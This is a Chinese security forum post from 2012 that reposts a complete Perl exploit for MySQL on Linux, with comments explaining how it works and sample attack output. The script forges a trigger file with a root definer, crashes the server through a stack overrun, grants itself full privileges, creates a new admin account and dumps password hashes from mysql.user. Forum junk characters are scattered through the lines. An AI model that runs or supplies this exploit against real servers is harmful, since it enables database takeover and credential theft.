找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2720|回复: 0
打印 上一主题 下一主题

MySQL(Linux)远程数据库提权漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:08:45 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞在12月1日的Seclist上发布,作者在Debian Lenny (mysql-5.0.51a) 、 OpenSuSE 11.4 (5.1.53-log)上测试成功,代码执行成功后会增加一个MySQL的管理员帐号。5 M/ q6 n3 A. U- m. p
  |% [/ j. E- q) l
9 q2 b$ x  |, r8 [5 S3 f0 M. W/ g- Z
  l, c0 c2 P3 n& o+ q2 h6 t/ h  m
' @1 c/ y' H) E( P8 B
0 l  u+ X% Z" G5 i
use DBI(); $|=1; =for comment MySQL privilege elevation Exploit This exploit adds a new admin user. By Kingcope Tested on * Debian Lenny (mysql-5.0.51a) * OpenSuSE 11.4 (5.1.53-log) How it works: This exploit makes use of several things: *The attacker is in possession of a mysql user with 'file' privileges for the target *So the attacker can create files on the system with this user (owned by user 'mysql') *So the attacker is able to create TRIGGER files for a mysql table5 }# {! @9 b$ G7 P5 m+ J
        triggers can be used to trigger an event when a mysql command is executed by the user, normally triggers are 'attached' to a user and will be executed with this users privilege. because we can write any contents into the TRG file (the actual trigger file), we write the entry
3 w& u( \6 N: M( [        describing the attached user for the trigger as "root@localhost" what is the default admin user. * We make use of the stack overrun priorly discovered to flush the server config so the trigger file is recognized. This step is really important, without crashing the mysql server instance and reconnecting (the server will respawn) the trigger file would not be recognized. So what the exploit does is: * Connect to the MySQL Server * Create a table named rootme for the trigger * Create the trigger file in /var/lib/mysql/<databasename>/rootme.TRG6 l+ _, a; q; y. d
* Crash the MySQL Server to force it to respawn and recognize the trigger file (by triggering the stack overrun)9 X6 V' ~( G$ H- W1 p
* INSERT a value into the table so the trigger event gets executed
  c' K* M) _5 S; o* The trigger now sets all privileges of the current connecting user in the mysql.user table to enabled.
7 i* C7 [* `0 G, o: e* Crash the MySQL Server again to force it reload the user configuration
6 J$ E2 l& \7 n4 s* Create a new mysql user with all privileges set to enabled7 e- ^3 P. O; x% A% j' x7 ~  U
* Crash again to reload configuration) ]7 D. C( r7 e
* Connect by using the newly created user9 p% Z. Z" z- a, |- ^; Z3 B
* The new connection has ADMIN access now to all databases in mysql7 w* q8 W5 |: ]- a
* The user and password hashes in the mysql.user table are dumped for a convinient way to show the exploit succeeded
; ]# c1 A" z9 Q5 E* As said the user has FULL ACCESS to the database now
1 d/ W# I- k8 Q  C
$ G5 D" D6 h$ t- X9 wRespawning of mysqld is done by mysqld_safe so this is not an issue in any configuration I've seen.
+ q" T2 i6 V$ ?* y=cut& ~, F1 r5 S8 K4 k! y
" l5 p  f  X( }( f- \% B
=for comment5 c3 S% O- C- Y. o) v! P
0 h$ s8 W4 v$ u) K
user created for testing (file privs will minor privileges to only one database):( `2 V/ g3 j9 @3 y
& w" a& B# z6 \0 {2 q5 ~( G
mysql> CREATE USER 'less'@'%' IDENTIFIED BY 'test';/ ]. G; f3 @: G7 ~  M! z1 @
Query OK, 0 rows affected (0.00 sec)9 y! Y  ?" W8 P6 F3 A  K

3 m* A. ]: u$ m5 G! B, y3 [# {mysql> create database lessdb
8 s; k! K3 Y1 ~0 I, D    -> ;
3 c9 _' t- w# s+ |5 WQuery OK, 1 row affected (0.00 sec)
* n6 J# {8 F- X9 o6 }; G$ Q' f. V% s
mysql> GRANT ALL PRIVILEGES ON lessdb.* TO 'less'@'%' WITH GRANT OPTION;7 T0 A0 t, y  z4 X( l
Query OK, 0 rows affected (0.02 sec)
/ C9 i# ]2 A- J0 N/ f+ p) c; |8 c
mysql> GRANT FILE ON *.* TO 'less'@'%' WITH GRANT OPTION;9 ?, F/ ~4 f4 @( f- T) {: F& T
Query OK, 0 rows affected (0.00 sec), e4 e8 D7 M. B4 P, K

% p9 G8 T+ C8 ^$ v' e6 Q& `login with new unprivileged user:6 ?2 R( Y* q  ~- _
mysql> select * from mysql.user;) P9 n; ~; O% P
ERROR 1142 (42000): SELECT command denied to user 'less2'@'localhost' for table 'user'
' P9 y4 N& ]6 \7 f; [  E" A# w  f/ |8 w
=cut
5 `; A4 a+ a: b2 M
) m8 j9 K5 g' ]8 E=for comment  ~; {- f2 Z3 f7 a

" F' N# b+ r4 B+ t5 ~3 p! c) A* j3 c6 _example attack output:
" X1 `2 `( X* D" T9 m, Q: C" d, C3 r6 a9 ]& Q
C:\Users\kingcope\Desktop>perl mysql_privilege_elevation.pl
7 S# X% ]( P( `select 'TYPE=TRIGGERS' into outfile'/var/lib/mysql/lessdb3/rootme.TRG' LINES TER, P- Q8 g) E3 V0 w4 K
MINATED BY '\ntriggers=\'CREATE DEFINER=`root`@`localhost` trigger atk after ins, h5 V+ V$ ~, Y9 i
ert on rootme for each row\\nbegin \\nUPDATE mysql.user SET Select_priv=\\\'Y\\\ ', Insert_priv=\\\'Y\\\', Update_priv=\\\'Y\\\', Delete_priv=\\\'Y\\\', Create_p
/ @3 P- J/ ?6 u* ]riv=\\\'Y\\\', Drop_priv=\\\'Y\\\', Reload_priv=\\\'Y\\\', Shutdown_priv=\\\'Y\\8 x2 ?# ?, n3 }# g
\', Process_priv=\\\'Y\\\', File_priv=\\\'Y\\\', Grant_priv=\\\'Y\\\', Reference$ k2 e! N3 M5 c! p1 ]" `
s_priv=\\\'Y\\\', Index_priv=\\\'Y\\\', Alter_priv=\\\'Y\\\', Show_db_priv=\\\'Y( P! w/ F; }% E6 B) f
\\\', Super_priv=\\\'Y\\\', Create_tmp_table_priv=\\\'Y\\\', Lock_tables_priv=\\
8 J/ r, T; ~) {7 h# J% l6 Z& U0 \; C\'Y\\\', Execute_priv=\\\'Y\\\', Repl_slave_priv=\\\'Y\\\', Repl_client_priv=\\\; d& V: z+ k8 C  \
'Y\\\', Create_view_priv=\\\'Y\\\', Show_view_priv=\\\'Y\\\', Create_routine_pri v=\\\'Y\\\', Alter_routine_priv=\\\'Y\\\', Create_user_priv=\\\'Y\\\', ssl_type= \\\'Y\\\', ssl_cipher=\\\'Y\\\', x509_issuer=\\\'Y\\\', x509_subject=\\\'Y\\\', max_questions=\\\'Y\\\', max_updates=\\\'Y\\\', max_connections=\\\'Y\\\' WHERE User=\\\'less3\\\';\\nend\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs
: O# i3 w3 H7 S: R$ J. T_names=\'latin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'lati
3 v( H' M3 G7 n" V5 c' B2 zn1_swedish_ci\'\n';DBD::mysql::db do failed: Unknown table 'rootme' at mysql_pri
' n$ x0 }3 L3 U" k8 K7 fvilege_elevation.pl line 44.
9 `9 `$ T  {, S3 f) J- ?DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_& d1 `0 W) `, `- a" r$ F
privilege_elevation.pl line 50.  v/ l0 q4 i* ?: x) h4 Q! o
DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_
4 s/ S3 y! _+ x* J& oprivilege_elevation.pl line 59.
) |1 g9 X$ J2 ?# _4 tW00TW00T!) W& l- A3 q# F# M$ w! S- B9 r: ^
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B9 [# ?" I; z6 M' P
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
& \; L! r& z( \: V/ E: @- pFound a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B) V5 v6 w' V7 _8 O" H. o# C8 B
Found a row: id = debian-sys-maint, name = *C5524C128621D8A050B6DD616B06862F9D64
# ?8 ^& R3 c0 T' r! ~$ }" N: q+ X5 iB02C/ x3 b6 J  C6 }7 z
Found a row: id = some1, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
% o" j7 H( L4 m3 V8 }Found a row: id = monty, name = *BF06A06D69EC935E85659FCDED1F6A80426ABD3B
- @  |: A6 q* v- {, }( G( S) QFound a row: id = less, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29. {; Q5 E/ {/ q" e$ n! t2 A
Found a row: id = r00ted, name = *EAD0219784E951FEE4B82C2670C9A06D35FD5697
( p) l7 z! Y% j/ L, A" S! CFound a row: id = user, name = *14E65567ABDB5135D0CFD9A70B3032C179A49EE7
, C5 k$ K# i0 G6 F# `, }& W& M' HFound a row: id = less2, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
' N6 y0 G& o3 P8 X+ d! yFound a row: id = less3, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29- v/ J8 z; T% j. q! V
Found a row: id = rootedsql, name = *4149A2E66A41BD7C8F99D7F5DF6F3522B9D7D9BC5 v& f& J+ _4 ]9 t

  y: Z5 I) g  A=cut6 h" O: c# w' m0 D; U' b/ _6 W* R
2 _; d/ p) K0 d8 T# ]0 z! ?
$user = "less10";
% ~9 a9 \) `4 t  N9 g7 `. h$password = "test";. X5 b' X* K  g% X! G- I! z, I
$database = "lessdb10";+ }; w2 I9 J! a" s2 k6 P
$target = "192.168.2.4";, |1 n1 k8 X9 F# ^
$folder = "/var/lib/mysql/"; # Linux5 |/ @* U. L$ E* M7 T- T
$newuser = "rootedbox2";
# M8 w: R5 H4 Y2 J% M/ S! r$newuserpass = "rootedbox2";! a! f" e# v! ]- ^, c4 M7 ]- q5 r
$mysql_version = "51"; # can be 51 or 50
' T5 R" B" g; b4 x; @9 \/ H# q5 I% R% H$ r7 N$ L
if ($mysql_version eq "50") {  P. o8 }3 L. m: r' A
$inject =7 o/ H5 d; B1 q, c
"select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";- Z4 l' K: H1 W: V! C
} else {$ F$ c" X+ A0 E0 O
$inject =) K; [) d/ A. F% a$ E
"select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', Event_priv=\\\\\\'Y\\\\\\', Trigger_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";) _) [: ?' e- l
}
- ?/ `- R2 z, C% N) ^5 o) G) g; }* z1 F3 |8 r( E
print $inject;#exit;6 X! u. H# \  i
$inject2 =8 K4 C9 U+ h9 H) E" j: L  ?( b$ K
"SELECT 'TYPE=TRIGGERNAME\\ntrigger_table=rootme;' into outfile '".$folder.$database."/atk.TRN' FIELDS ESCAPED BY ''";! P- L7 B5 F2 D5 F- a

7 t8 x  d+ @0 t! wmy $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
& t+ q. U2 j. b. k5 O$ G: D+ t                       "$user", "$password",+ f. T, P1 z: k# C. O7 z6 H/ ~/ B
                       {'RaiseError' => 0});
2 V( ~* h3 a+ |/ z* ?eval { $dbh->do("DROP TABLE rootme") };
, t6 k6 p' B7 z: ]) ~1 E( l$dbh->do("CREATE TABLE rootme (rootme VARCHAR(256));");; l. E( C1 D, d3 U* g* w' W- t5 T
$dbh->do($inject);: b/ s! N" b4 f# A
$dbh->do($inject2);
" j9 n1 c9 T. D2 Y, ?, r2 y, s% ^* O3 g. o* _2 D3 |0 i9 j: d
$a = "A" x 10000;
& t5 Q6 Y& Y! d. ]3 ~1 i# `2 h# F$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");% J+ }  q( O. o1 Y4 [( s

: h4 z1 G# w- C  E. Bsleep(3);1 X: S+ y2 u0 h; ?( o+ M- j7 z

/ w' F+ L5 f) O& g2 Z9 v8 \my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",% H$ N' z! J/ M2 D
                       "$user", "$password",
0 s) n$ w# X+ h                       {'RaiseError' => 0});
* M9 U0 x$ W4 C& b' D* q! f* s
  ]6 X: R( ?6 F) T- t$dbh->do("INSERT INTO rootme VALUES('ROOTED');");
3 H+ m' Q# E; r0 d( G! J2 |$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");
/ Y9 ?/ l/ p, ?3 V* \2 \. Q' Z! S! d8 X
sleep(3);4 H) j6 U' V8 a3 Q" @4 Y

$ P& h+ t3 [, ~0 m$ k- ~my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
; ]! w' V! r+ ?6 E8 k                       "$user", "$password",8 D0 S4 \* W/ Z5 d
                       {'RaiseError' => 0});+ |& l$ {& e% U# v

4 j+ P/ B2 Q0 C  F4 l/ g0 G/ j$dbh->do("CREATE USER '$newuser'\@'%' IDENTIFIED BY '$newuserpass';");
" ~' }( J  I5 m+ M5 Q3 z$dbh->do("GRANT ALL PRIVILEGES ON *.* TO '$newuser'\@'%' WITH GRANT OPTION;");# q. @7 o" q7 I" P$ W' D8 `- o
$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");
7 N1 B& e% k1 e; ?8 V5 \4 M5 |2 ^& r: d) u4 f9 Q
sleep(3);, q7 ~  V, f0 s% G5 S

. A- [: J0 K1 ~4 j3 omy $dbh = DBI->connect("DBI:mysql:host=$target;",
* g4 b- {, R. B/ O                       $newuser, $newuserpass,$ C& t+ a6 z) c  w
                       {'RaiseError' => 0});
2 p' E1 r5 d! D0 S# i4 L" F* \
9 {: Y" K$ |1 k. @0 i0 zmy $sth = $dbh->prepare("SELECT * FROM mysql.user");4 d4 t5 `$ B0 s1 O0 Y
$sth->execute();2 e7 q% J$ l( U& N) g* U" o

  p; h" a' z) }/ r" g1 Xprint "W00TW00T!\n";6 ]  {. P, o( P. p. W; ], M
4 \7 k2 \8 `. L9 p0 `% Q
while (my $ref = $sth->fetchrow_hashref()) {
7 F( _! i( f6 ]. K' q. Cprint "Found a row: id = $ref->{'User'}, name = $ref->{'Password'}\n";0 P" B( c6 N. p3 N
}
# l, n, t. [0 K4 z$sth->finish();
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表